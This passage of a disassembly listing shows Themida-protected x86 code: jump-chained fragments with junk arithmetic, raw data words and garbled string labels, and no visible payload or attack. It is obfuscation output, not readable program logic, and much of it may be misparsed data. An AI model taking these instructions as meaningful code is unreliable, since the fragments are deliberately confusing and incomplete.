		pop	ebp
		add	ecx, 4
		jmp	loc_54B314
; ---------------------------------------------------------------------------
aOpUsV		db '╠oP╢UИ',1Bh,'v',0
		align 4
		dd 81E7D158h, 3A4DBBEFh, 0F9EF8106h, 1C01ADAh, 0C1835FF9h
		dd 9690E904h, 0E6890000h, 0E9D8E951h, 66ACFFFFh, 666DD268h
		dd 0B3241C89h, 34BFE9BBh, 0C4830000h, 58C30104h, 4EB81h
		dd 1C870000h, 34895C24h, 48E95924h, 81000073h, 911C94EFh
		dd 81F7295Fh, 911C94C7h, 0D8E95E5Fh, 5C000082h,	9C240431h
		dd 0FFE3B1E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_546761:				; CODE XREF: Themida_:0054ABD0j
		push	ebx
		mov	ebx, esp
		push	edi
		jmp	loc_5479B0
; ---------------------------------------------------------------------------

loc_54676A:				; CODE XREF: Themida_:0054975Dj
		push	edi
		mov	edi, 45F0239Bh
		jmp	loc_5490CF
; ---------------------------------------------------------------------------
		db 68h,	81h, 24h
		dd 2C890000h, 0E41BE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_546782:				; CODE XREF: Themida_:0054D399j
		pop	edx
		push	esi
		mov	esi, 2456102Fh
		jmp	loc_54FB56
; ---------------------------------------------------------------------------
		dw 0D001h
		dd 943AAF2Dh, 241F2D36h, 0DD2D6C36h, 5A636970h,	31240433h
		dd 4332404h, 0FF665C24h, 0E99C2404h, 0FFFFE35Eh, 75EB815Bh
		dd 10FAE1Dh, 241C8BD8h,	5304C483h, 2BBh, 8BD80100h, 0C7E9241Ch
		dd 0BB000023h, 5EAB000Ch, 2F0FF381h, 81437483h,	520DC2EBh
		dd 0E9DD010Ah, 4ACFh, 13B0BB53h, 4B434C2Bh, 3BE6EB81h
		dd 0C3811DF6h, 0BAB43C4h, 0E95BDD31h, 29AEh
; ---------------------------------------------------------------------------

loc_546808:				; CODE XREF: Themida_:0054F3B4j
		mov	ecx, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		jmp	loc_54F5EF
; ---------------------------------------------------------------------------
		dd 4EC81h, 0D8E90000h
		db 6, 2	dup(0)
; ---------------------------------------------------------------------------

loc_546827:				; CODE XREF: Themida_:0054D676j
		pop	eax
		push	edx
		mov	edx, 19800B06h
		jmp	loc_545306
; ---------------------------------------------------------------------------
		db 59h
		dd 0B8505758h, 0E6B2239h, 0ACEC62BFh, 0E9C7016Dh, 7F3Ah
; ---------------------------------------------------------------------------

loc_546848:				; CODE XREF: Themida_:00550DFCj
		mov	ebp, 45DB2551h
		xor	esi, ebp
		pop	ebp
		shr	esi, 3
		neg	esi
		neg	esi
		dec	esi
		sub	esi, 0D6EAB551h
		jmp	loc_54CE10
; ---------------------------------------------------------------------------
		db 1
		dd 0C3815AD3h, 4, 2474FF53h, 2F1EE904h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_546876:				; CODE XREF: Themida_:00544D87j
		mov	edx, [esp]
		add	esp, 4
		xchg	ebx, [esp]
		pop	esp
		cmp	ecx, eax
		pushf
		jmp	loc_544B12
; ---------------------------------------------------------------------------
		db 40h
		dd 832AC35h, 35D8F77Ch,	0C830E094h, 7E3EE9h, 0ADE95D00h
		dd 5B000095h, 4EC81h, 34890000h, 4BE24h, 0C1810000h, 292B0E19h
		dd 0E981F129h, 292B0E19h, 74FF515Eh, 0C8B0424h,	5121E924h
		dd 87680000h, 5E041965h, 6EEE814Eh, 89D476EEh, 51E95EF0h
		db 20h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5468E3:				; CODE XREF: Themida_:0054E576j
		pop	edx
		add	esp, 4
		shr	ecx, 7
		jmp	loc_550A7A
; ---------------------------------------------------------------------------

loc_5468F2:				; CODE XREF: Themida_:0054E174j
		add	esp, 4
		pop	ecx
		not	ecx
		xchg	ecx, edi
		sub	edi, 0E1AACFA1h
		and	eax, edi
		mov	edi, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_54B7FD
; ---------------------------------------------------------------------------
		db 50h,	0B8h, 4
		dd 1000000h, 0C18358C1h, 240C8704h, 0F624248Bh,	80D6F6DEh
		dd 8CE9A9EEh, 0B9000068h, 6D345E9Eh, 6D9BE9h, 50C68900h
		dd 40B8h, 0C260500h, 0F8011FC9h, 6893E9h, 4C48300h, 535968h
		dd 904E900h, 0A5680000h, 0E90DE57Eh, 1A27h
; ---------------------------------------------------------------------------

loc_546970:				; CODE XREF: Themida_:005490CAj
		xchg	edx, [esp]
		pop	esp
		mov	[esp], ebx
		mov	ebx, 2
		sub	ebp, 518450CAh
		sub	ebp, ebx
		add	ebp, 518450CAh
		mov	ebx, [esp]
		push	esi
		push	esp
		pop	esi
		jmp	loc_54F8AF
; ---------------------------------------------------------------------------
		db 0E9h, 78h, 0E1h
		dd 0C483FFFFh, 12C38104h, 16D0D03h, 12EB81FBh, 5F6D0D03h
		dd 2BF57h, 0FB010000h, 74FF535Fh, 0E95B0424h, 9A17h, 10FDE95Bh
		dd 57510000h, 6A61F768h, 243C8B3Eh, 4C481h, 0E9500000h
		dd 1DC2h, 0F9E9E389h, 1000051h,	671405E8h, 875D5647h, 2CE92404h
		db 0A3h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_5469F3:				; CODE XREF: Themida_:0054CFF4j
		push	ax
		mov	ah, 0A4h
		sub	bh, ah
		pop	ax
		xor	al, bh
		pop	ebx
		push	1F33h
		jmp	loc_5473E8
; ---------------------------------------------------------------------------
		dd 153E7CBBh, 0C2F3813Dh, 81653715h, 222BBAF3h,	8BDE0158h
		dd 0C5E9241Ch
		db 21h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_546A23:				; CODE XREF: Themida_:0054E878j
		pop	edi
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		or	edx, eax
		jmp	loc_54F870
; ---------------------------------------------------------------------------
		db 4Dh
		dd 0F8E5814Dh, 812C3B63h, 6D1E13EDh, 0FBA7E93Ch, 0E95AFFFFh
		dd 0B5Fh, 9964582Dh, 1106833h, 0C890000h, 8668E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_546A66:				; CODE XREF: Themida_:00546218j
		push	edx
		mov	edx, 1E3304D3h
		jmp	loc_5453D6
; ---------------------------------------------------------------------------
		db 8Bh,	2 dup(24h)
		dd 4BD55h, 0E9010000h, 240C875Dh, 4C4815Ch, 0E9000000h
		dd 0A414h, 0E904C483h, 15AFh, 54FA6852h, 815A0D68h, 284FA1EAh
		dd 5AD58993h, 1C81CD81h, 0EDC15BA5h, 83E5D104h,	148904ECh
		dd 6F69BA24h, 0F3E928B8h, 81FFFFF8h, 8C279DCFh,	4E7C10Ch
		dd 212C781h, 0C381053Ch, 39A9440Fh, 77CAE9h, 2993BB00h
		dd 0DA8963A9h, 5AD6895Bh, 7E6C146h, 4155E955h, 0C8B0000h
		dd 4C48324h, 4C481h, 0C6810000h, 40607BE2h, 90E9EE01h
		db 0E7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_546B07:				; CODE XREF: Themida_:0054AAC0j
		mov	[esp], edx
		mov	dh, al
		jmp	loc_550A66
; ---------------------------------------------------------------------------
		db 56h,	0BEh, 54h
		dd 814E0603h, 0E67180EEh, 13B95150h, 49685D57h,	31BBE981h
		dd 0D1F771CFh, 3746C181h, 0E1815ADBh, 17C3694Ah, 479BE9h
		dd 0F0C28100h, 1539B53h, 0F0EA81DAh, 5B539B53h,	2BD55h
		dd 0EA010000h, 0E9242C8Bh, 87ECh, 2709E95Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_546B62:				; CODE XREF: Themida_:00549638j
		mov	ecx, esp
		jmp	loc_548781
; ---------------------------------------------------------------------------
		db 87h,	3Ch, 24h
		dd 6624248Bh, 2404B30Fh, 2714E99Ch, 48F0000h, 24895C24h
		dd 24048324h, 22C8E904h, 0E9410000h, 9E1Bh, 24048B66h
		dd 0FFF1D2E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_546B99:				; CODE XREF: Themida_:00550F48j
		push	ecx
		mov	ecx, 3ADC283Eh
		xor	esi, ecx
		pop	ecx
		pop	edx
		jmp	loc_54D27D
; ---------------------------------------------------------------------------
		dd 0BD55E389h, 4, 505DEB01h, 4B8h, 8BC32900h, 0C4832404h
		dd 1026804h, 1C890000h,	5C0AE924h, 0CE800000h, 6ECE80B9h
		dd 0F680DEF6h, 33E952B4h, 59000041h, 31241C33h,	1C33241Ch
		dd 579BE924h, 48B0000h,	4C48324h, 0F32BE56h, 0F74E6FB6h
		dd 6EEC1D6h, 0FFF3B8E9h, 0EC8352FFh, 24248904h,	0FFF6ACE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_546C11:				; CODE XREF: Themida_:00545208j
		sub	eax, ecx
		jmp	loc_54DFCD
; ---------------------------------------------------------------------------
		dd 5C243487h, 2F7E9h, 0BE0F6600h, 0EC8156C8h, 4, 0E9242489h
		dd 8798h, 287E68h, 241C8900h, 7AE6855h,	22E90000h, 5A000081h
		dd 729DE9h, 4CBF5700h, 0B97B3F12h, 7B3F1248h, 15FF931h
		dd 2434FFCEh, 0E1895159h, 4C181h, 0C1830000h, 240C8704h
		dd 2C6815Ch, 81000000h,	4ECh, 24348900h, 42474FFh, 3029E9h
		dd 1CB85000h, 0F75E462Dh, 7A3540D0h, 0F7458A4Bh, 99A305D0h
		dd 0C101E433h, 2221E958h, 3C890000h, 835F5424h,	348904ECh
		dd 33BCE924h, 0C9810000h, 2D8B64BBh, 0F708E1C1h, 6E1C1D9h
		dd 3FFCE981h, 0CE012491h, 0E1895159h, 0FFE433E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_546CD5:				; CODE XREF: Themida_:0054ABFFj
		mov	ebx, [esp]
		jmp	loc_54546B
; ---------------------------------------------------------------------------
		db 0C1h, 0EEh, 5
		dd 65EFE9h, 0B8C68100h,	0E97F2746h, 0A2A0h
; ---------------------------------------------------------------------------

loc_546CF0:				; CODE XREF: Themida_:0054AEB7j
		xor	edi, 77F65301h
		not	edi
		jmp	loc_54AAB4
; ---------------------------------------------------------------------------
		db 87h,	2Ch, 24h
		dd 0EC83535Ch, 24048904h, 88D58851h, 1806E9E8h,	5A660000h
		dd 69F5E9h
		db 0
; ---------------------------------------------------------------------------

loc_546D19:				; CODE XREF: Themida_:0054983Ej
		pop	ecx
		push	edi
		jmp	loc_545FFE
; ---------------------------------------------------------------------------
		dd 0C01786BEh, 2F26E95Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_546D2A:				; CODE XREF: Themida_:00549489j
		mov	edx, 50DF4DD4h
		jmp	loc_5501A7
; ---------------------------------------------------------------------------
		dd 0E904EC83h, 1534h, 68240C8Bh, 3C5Eh,	54242C89h, 9C05E9h
		dd 0C8B6600h, 5F736824h, 1C890000h, 2575E924h, 1E240000h
		dd 0E953A104h, 6D82h, 8124348Bh, 4C4h, 0C5815900h, 2, 8B242C87h
		dd 87E92424h, 8100007Ah, 4FA249F3h, 245F89B5h, 0FFDEA4E9h
		dd 4C483FFh, 0CE6E955h,	8B660000h, 0AEE9240Ch, 68000092h
		dd 1E48h, 0E9240489h, 513Ch, 5C241487h,	0F0EDE953h, 8B66FFFFh
		dd 3068240Ch, 8900000Dh, 77E9242Ch
		db 82h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_546DCB:				; CODE XREF: Themida_:00550D0Fj
		mov	[esp], ebp
		mov	ebp, 1BEA0B0Bh
		sub	eax, 2CCC7938h
		sub	eax, ebp
		jmp	loc_550737
; ---------------------------------------------------------------------------
a_sC		db '_ИяC',0
		dd 243C8700h, 14E6685Ch, 3C890000h, 416DE924h, 0E95D0000h
		dd 13DFh
; ---------------------------------------------------------------------------

loc_546DFC:				; CODE XREF: Themida_:005501A2j
		xchg	ebp, [esp]
		pop	esp
		xor	bl, al
		push	6159h
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], ecx
		mov	cl, al
		jmp	loc_544FD6
; ---------------------------------------------------------------------------
aRsp		db 'RИP/',0
		dd 1C77FF00h, 0D359669Dh, 0E99C2414h, 0FFFFDCE6h
; ---------------------------------------------------------------------------

loc_546E2C:				; CODE XREF: Themida_:0054CA31j
		add	esp, 4
		push	dword ptr [esp]
		pop	edi
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		pop	ecx
		push	0E62h
		mov	[esp], esi
		push	792Ah
		mov	[esp], edx
		push	edi
		mov	edi, 6AD6002Fh
		mov	edx, 952DFFD1h
		add	edx, edi
		jmp	loc_550F3E
; ---------------------------------------------------------------------------
		dd 5024048Bh, 0BD3E9h, 4B900h, 0C2810000h, 5D7C4484h, 0EA81CA01h
		dd 5D7C4484h, 24148759h, 68C80F5Ch, 73D6h, 0E9240489h
		dd 0FFFFDC76h, 645EE956h, 0C2010000h, 5AD00158h, 3302C083h
		dd 4312404h, 24043324h,	40E9515Ch
		db 0F4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_546EBB:				; CODE XREF: Themida_:005473F8j
		sub	al, 6Ch
		sub	al, bh
		push	0F27h
		mov	[esp], ebx
		push	edx
		mov	dl, 0B9h
		mov	bl, dl
		pop	edx
		jmp	loc_54EBEB
; ---------------------------------------------------------------------------
		dw 0EE81h
		dd 952F1905h, 348BF329h, 4C48124h, 51000000h, 0B856D2B9h
		dd 1E9816Ah, 53000000h,	933467BBh, 5BD92961h, 4DE9CB01h
		dd 8900004Ah, 4BD242Ch,	50000000h, 8E37E9h, 0C2BA5E00h
		dd 0E94D145Fh, 5BE5h, 9C240401h, 0FFDBF1E9h, 70E6BAFFh
		dd 12BB32BCh, 0E932BC71h, 9186h, 242C8B5Ch, 0E9E68956h
		dd 0C55h
; ---------------------------------------------------------------------------

loc_546F3C:				; CODE XREF: Themida_:0054CCB6j
		sub	esp, 4
		jmp	loc_551183
; ---------------------------------------------------------------------------
		dd 0E9240C8Bh, 1336h
; ---------------------------------------------------------------------------

loc_546F4C:				; CODE XREF: Themida_:0054C63Dj
		push	ebp
		mov	ebp, 0A73274Ch
		shl	ebp, 2
		push	ebp
		push	eax
		pop	ebp
		pop	eax
		dec	eax
		xchg	eax, ebp
		not	ebp
		jmp	loc_54AE46
; ---------------------------------------------------------------------------
		dw 0C681h
		dd 4, 0BAFE9h, 4C48100h, 8B000000h, 54522404h, 4BE565Ah
		dd 1000000h, 0C2835EF2h, 24148704h, 3524248Bh, 387506E4h
		dd 81E38953h, 4C3h, 4EB8100h, 0E9000000h, 8BBEh, 592434FFh
		dd 0E904C483h, 5F50h
; ---------------------------------------------------------------------------

loc_546FB0:				; CODE XREF: Themida_:0054EA98j
		xor	[esp+4], esi
		pop	esi
		push	dword ptr [esp]
		mov	eax, [esp]
		push	eax
		jmp	loc_5509D9
; ---------------------------------------------------------------------------
		db 0BBh, 11h, 3Eh
aKysu0		db 'kyИU0',0
		db 0
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_54F36A
; ---------------------------------------------------------------------------
		db 1
aDXsgm		db 'D$',8,'XИ┐▄',0
		db 0
; ---------------------------------------------------------------------------

loc_546FDD:				; CODE XREF: Themida_:0054BB18j
		push	esp
		mov	ecx, [esp]
		add	esp, 4
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp

loc_546FF4:				; CODE XREF: Themida_:0054788Fj
		push	5952h
		mov	[esp], ebx
		mov	eax, [esp]
		push	ebx
		mov	ebx, esp
		push	edx
		mov	edx, 4
		add	ebx, edx
		mov	edx, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, 2225B65h
		push	eax
		mov	eax, 719F3DD7h
		sub	ebp, eax
		jmp	loc_54573B
; ---------------------------------------------------------------------------
		dw 3158h
		dd 24348BF1h, 4C481h, 0F1810000h, 6E9E613Fh, 9560E9h, 24248B00h
		dd 0FFDACDE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_547045:				; CODE XREF: Themida_:0054F30Bj
		shr	edi, 4
		dec	edi
		push	ecx
		push	eax
		mov	eax, 41EA42F5h
		jmp	loc_548CF6
; ---------------------------------------------------------------------------
		db 81h,	0ECh, 4
		dd 89000000h, 4832424h,	55E90424h, 5E00009Ch, 4C681h, 0BA520000h
		dd 4, 1408C681h, 0D60107CEh, 1408BF57h,	0FE2907CEh, 83243C8Bh
		dd 565A04C4h, 42474FFh,	24048F5Eh, 0E956525Ch, 0FFFFDAC8h
; ---------------------------------------------------------------------------

loc_54709C:				; CODE XREF: Themida_:00548E5Ej
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_5474FD
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 5084E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5470B2:				; CODE XREF: Themida_:0054F374j
		push	dword ptr [esp+4]
		mov	ebp, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		movsx	ecx, al
		push	45FFh
		mov	[esp], ecx
		jmp	loc_5506CB
; ---------------------------------------------------------------------------
		dd 4305E829h, 5D684514h, 7A34E9h, 0B9515200h, 5E84688Fh
		dd 0E959CA89h, 6C59h, 2D63EE05h, 0EC835928h, 241C8904h
		dd 6C7FE9h, 0E9C50000h,	54ADh, 0CE1B850h, 16E968E1h, 0B9FFFFE2h
		dd 4CB6160Ah, 40E9C801h, 0FF000010h, 148B2434h,	4C48324h
		dd 0CAE95450h, 81000018h, 0F119B3EBh, 128EE975h, 0E5890000h
		dd 4EDB951h, 0E98137DFh, 47DA7BDCh, 82CFE941h, 0F8310000h
		dd 81243C8Bh, 4C4h, 0EFBA5200h,	0E94411A7h, 61A7h
; ---------------------------------------------------------------------------

loc_547160:				; CODE XREF: Themida_:0054AB98j
		idiv	ecx
		push	0C73h
		mov	[esp], edx
		push	eax
		pushf
		jmp	loc_544B12
; ---------------------------------------------------------------------------
		db 0F7h, 0D8h, 0C1h
aS5SSC		db 'Х',8,'5©≥"-)аИьC',0
		align 2

loc_547182:				; CODE XREF: Themida_:00545CDEj
		pop	ebx
		xchg	esi, [esp]
		pop	esp
		jmp	loc_544B12
; ---------------------------------------------------------------------------

loc_54718C:				; CODE XREF: Themida_:005505C2j
		mov	ebp, edi
		jmp	loc_54FEDD
; ---------------------------------------------------------------------------

loc_547193:				; CODE XREF: Themida_:0054738Aj
		add	ebp, 0D5F11C09h
		mov	ecx, ebp
		pop	ebp
		inc	ecx
		sub	ecx, 79F5592h
		add	ecx, 0FD217C5Fh
		mov	edi, ecx
		mov	ecx, [esp]
		add	esp, 4
		neg	edi
		not	edi
		and	edi, 39F633B5h
		push	eax
		mov	eax, 332453DDh
		shl	eax, 1
		sub	eax, 82F6F2E2h
		sub	edi, eax
		pop	eax
		xor	eax, edi
		pop	edi
		push	2674h
		mov	[esp], ebp
		push	eax
		mov	eax, 476B4E07h
		push	edi
		push	1C49h
		mov	[esp], eax
		jmp	loc_545BA5
; ---------------------------------------------------------------------------
		db 0E9h, 20h, 0D9h
		dd 0E956FFFFh, 5222h
; ---------------------------------------------------------------------------

loc_5471F8:				; CODE XREF: Themida_:00549359j
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		jmp	loc_548699
; ---------------------------------------------------------------------------
		dd 0BF575D54h, 3FD213ACh, 127DE9h, 0C8B5A00h, 0E2895224h
		dd 0FFF39DE9h, 2434FFFFh, 8124148Bh, 4C4h, 0D8E95100h
		dd 6600006Bh, 6020EB81h, 81C32966h, 4ECh, 242C8900h, 4EC8156h
		dd 89000000h, 68662414h, 5A667111h, 1C28166h, 0CA81663Dh
		dd 0E1E96B09h, 81000005h, 590375E2h, 5B04E97Fh,	2C890000h
		dd 91E95124h, 8100007Ch, 4C4h, 4EC8300h, 0FF243C89h, 8B042474h
		dd 0E957243Ch, 4A77h, 9D1C77FFh, 24041958h, 306EE99Ch
		dd 8B660000h, 0EC812404h, 4, 68243C89h,	3C2Dh, 89241C89h
		dd 4C381E3h, 81000000h,	4EBh, 241C8700h, 6853E9h
		db 0
; ---------------------------------------------------------------------------

loc_5472C5:				; CODE XREF: Themida_:005500D2j
		mov	esi, 321C5E56h
		or	esi, 23126208h
		add	esi, 14DA3CAAh
		add	esi, 411251CAh
		shl	esi, 2
		inc	esi
		add	esi, 0DBD3CCBBh
		add	edi, esi
		jmp	loc_54D017
; ---------------------------------------------------------------------------
		db 81h,	0C5h, 0CAh
		dd 0D177F636h, 0DCF581E5h, 1AE5CA5h, 242C8BEEh,	18DE9h
		db 0
; ---------------------------------------------------------------------------

loc_547305:				; CODE XREF: Themida_:00548D6Fj
		add	ebp, 2
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_54F4E1
; ---------------------------------------------------------------------------
		db 68h,	0FDh, 77h
		dd 34890000h, 8BC7E924h, 0AC340000h, 1ADFE9h, 59545100h
		dd 154EE9h, 2434FF00h, 70FD6858h, 3C890000h, 30E6E924h
		dd 0CD310000h, 0E92434FFh, 0FFFFF7A6h, 562268h,	24048900h
		dd 8B2434FFh, 0C481241Ch, 4, 4E95456h
		db 0FDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_547363:				; CODE XREF: Themida_:00545D66j
		pop	eax
		add	esp, 4
		add	esp, 4
		sub	esp, 4
		mov	[esp], edi
		push	ecx
		push	ebp
		push	19DD73F3h
		pop	ebp
		shl	ebp, 4
		sub	ebp, 56A74B8Ch
		jmp	loc_547193
; ---------------------------------------------------------------------------

loc_54738F:				; CODE XREF: Themida_:0054F87Ej
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], eax
		mov	eax, 321F1F7Ah
		jmp	loc_5488D1
; ---------------------------------------------------------------------------
		dd 8324148Bh, 0EC8304C4h, 242C8904h, 632DE9h, 89665C00h
		dd 4BE92404h, 5BFFFFD7h, 647E956h, 81410000h, 0F3067DC1h
		dd 0F2E98133h, 8128704Eh, 35188E9h, 0E9CE01ECh,	48FCh
; ---------------------------------------------------------------------------

loc_5473E8:				; CODE XREF: Themida_:00546A03j
		mov	[esp], ebx
		push	eax
		mov	al, 1Dh
		mov	bh, 21h
		xor	bh, al
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_546EBB
; ---------------------------------------------------------------------------
		db 1, 0FBh, 81h
		dd 792682EBh, 0E933FF04h, 4260h, 284568h, 243C8900h, 42474FFh
		dd 4245E9h, 60936800h, 2C890000h, 57E58924h, 3CD4B850h
		dd 0CF251ACCh, 57D7651h, 745B2D64h, 9355FF2Dh, 2DD0F715h
		dd 7A80D791h, 5158C789h, 6B5ABF57h, 85E96F3Eh, 52FFFFD8h
		dd 0F20B66BAh, 0DFA6E977h, 8952FFFFh, 2B12E9E2h, 14310000h
		dd 24143324h, 3124248Bh, 0E9C231C3h, 0FFFFD69Ah, 88EB8853h
		dd 15E95BDAh, 8100005Dh, 4C1h, 240C8700h, 0EE3E95Ch, 0C4830000h
		dd 2E43E904h, 875D0000h, 835C243Ch, 6BE904C4h, 2DFFFFD6h
		dd 6C6D6E01h, 0FFE72AE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5474B1:				; CODE XREF: Themida_:0054AA4Dj
		xor	dword ptr [esp], 5BF60302h
		pop	esi
		jmp	loc_548733
; ---------------------------------------------------------------------------
		dw 1C89h
		dd 52E38924h, 4BAh, 5AD30100h, 0A01BA52h, 0BD5503E8h, 777D2Eh
		dd 4EC8353h, 0BA241489h, 73304557h, 5F2DD8BBh, 0E9D30189h
		dd 1819h
; ---------------------------------------------------------------------------

loc_5474F0:				; CODE XREF: Themida_:005481ADj
		add	ebp, edx
		jmp	loc_54B175
; ---------------------------------------------------------------------------
aRsL		db 'RИкL',0
		db 0
; ---------------------------------------------------------------------------

loc_5474FD:				; CODE XREF: Themida_:005470A5j
		push	eax
		mov	eax, 4
		add	ebx, eax
		jmp	loc_544DEA
; ---------------------------------------------------------------------------
		dw 148Bh
aSf9		db '$ИF9',0
		align 2
		dw 8864h
		dd 0D5F8E902h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54751A:				; CODE XREF: Themida_:00545602j
		pop	ecx
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_54F25A
; ---------------------------------------------------------------------------
		db 0BBh
		dd 4, 5C99C281h, 0DA0114ACh, 5C99EA81h,	1C8B14ACh, 4C48124h
		dd 81000000h, 4C2h, 0F856E900h,	5056FFFFh, 4906D7B8h, 43B30D7Bh
		dd 18E945D9h, 8300002Ah, 148904ECh, 4EC8324h, 9C21E9h
		dd 5BD93000h, 3058C130h, 5BDE9C8h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_547586:				; CODE XREF: Themida_:00550BF8j
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], edi
		push	esi
		mov	esi, 36036BEDh
		xor	esi, 140C5624h
		xor	esi, 747A70AAh
		jmp	loc_54C4BF
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 0D4E92404h, 3000001Dh, 241C8BD8h, 6604C483h,	2DB551h
		dd 285966EBh, 4EC81C3h,	89000000h, 73682404h, 89000059h
		dd 0B3532414h, 5BDA8878h, 0FFDD8EE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5475E1:				; CODE XREF: Themida_:0054ED2Cj
		pop	edx
		xchg	esi, [esp]
		mov	esp, [esp]
		mov	[esp], dx
		push	ax
		pushf
		jmp	loc_550031
; ---------------------------------------------------------------------------
		dd 65685750h, 5F464869h, 0E074E953h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_547602:				; CODE XREF: Themida_:0054B77Aj
		sub	edi, 61634AB1h
		xchg	edx, edi
		jmp	loc_549D44
; ---------------------------------------------------------------------------
		db 30h
		dd 2434FFFDh, 6A9BE95Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54761A:				; CODE XREF: Themida_:0054B65Dj
		dec	esi
		jmp	loc_54C3EB
; ---------------------------------------------------------------------------
aAAsz		db '─а"─ИZ',0
		db 0CAh
		dd 5AD53059h, 0E931F580h, 0FFFFEA10h
; ---------------------------------------------------------------------------

loc_547634:				; CODE XREF: Themida_:0054F928j
		xchg	esi, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], edx
		push	esi
		mov	esi, 1C604703h
		dec	esi
		jmp	loc_54BFC7
; ---------------------------------------------------------------------------
		db 89h,	14h, 24h
		dd 792CD1BAh, 0E9575658h, 0FFFFEC34h, 0FE3EB652h, 0EFEE80C6h
		dd 5AF028h, 815004F8h, 2ECh, 14896600h,	59B624h, 148B66F0h
		dd 4EC8324h, 89243C89h,	4C781E7h, 83000000h, 3C8702C7h
		dd 49E95C24h
		db 8, 2	dup(0)
; ---------------------------------------------------------------------------

loc_547697:				; CODE XREF: Themida_:005457D2j
		sub	eax, ebx
		sub	eax, 55DC62DAh
		push	ecx
		mov	ecx, 54C601CBh
		add	ecx, 27343BD2h
		push	ebx
		mov	ebx, 2E490D00h
		xor	ecx, ebx
		pop	ebx
		add	eax, ecx
		jmp	loc_54AD71
; ---------------------------------------------------------------------------
		dw 166h
		dd 0B70566D0h, 148B6613h, 7F1D6824h, 34890000h,	81E68924h
		dd 4C6h, 2C68100h, 87000000h, 248B2434h, 0D8016624h, 3C1B2D66h
		dd 32416866h, 24348966h, 0CC5EBE66h, 1EFAE9h
		db 0
; ---------------------------------------------------------------------------

loc_5476F9:				; CODE XREF: Themida_:0054AB82j
		sub	edx, 34EF16D8h
		not	edx
		push	eax
		mov	eax, 329E7B2Dh
		add	eax, 25F0E4E3h
		sub	edx, eax
		pop	eax
		xor	edx, 8DCB6B80h
		add	eax, 304251Fh
		add	eax, edx
		sub	eax, 304251Fh
		jmp	loc_54D58B
; ---------------------------------------------------------------------------
a13SP		db '1,$3,$Ив▐',0
		dd 0C8B6600h, 0E95624h
		db 5Eh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54773B:				; CODE XREF: Themida_:0054CC22j
		xchg	ebp, [esp]
		jmp	loc_54F470
; ---------------------------------------------------------------------------
		db 68h
		dd 4, 2D94E9h, 241C8B00h, 81595451h, 4C1h, 45FDE900h, 27B60000h
		dd 505BDE28h, 0C48001B4h, 4E4C045h, 5279F480h, 8805B353h
		dd 0E7D0E9DAh, 2C8BFFFFh, 0E2895224h, 52685350h, 5B77D226h
		dd 4DEB814Bh, 8977D226h, 0C2015BD8h, 4C28358h, 5C241487h
		dd 34FFE831h, 242C8B24h, 5204C483h, 0E8E9E289h,	83000020h
		dd 143304EAh, 24143124h, 5C241433h, 0E9241C89h,	626Ch
		dd 55FB68h, 0E375E900h,	166FFFFh, 0E99C2404h, 0FFFFD33Ah
		dd 5A5FF901h, 0F5E9C821h, 5EFFFFDCh, 4B38C981h,	0B268362Dh
		dd 0E9000032h, 4716h
; ---------------------------------------------------------------------------

loc_5477F4:				; CODE XREF: Themida_:0054F461j
		add	ecx, edi
		mov	edi, [esp]
		add	esp, 4
		push	3229h
		jmp	loc_54ED5D
; ---------------------------------------------------------------------------
		db 8Bh,	2 dup(24h)
		dd 0FFF37FE9h, 242C87FFh, 8F24248Bh, 248B2404h,	2404D224h
		dd 0D2ECE99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_547826:				; CODE XREF: Themida_:0054FE4Bj
		add	esp, 4
		add	esi, 1ED814CFh
		mov	eax, esi
		pop	esi
		pop	ebp
		add	eax, 41872FEEh
		jmp	loc_544C0C
; ---------------------------------------------------------------------------
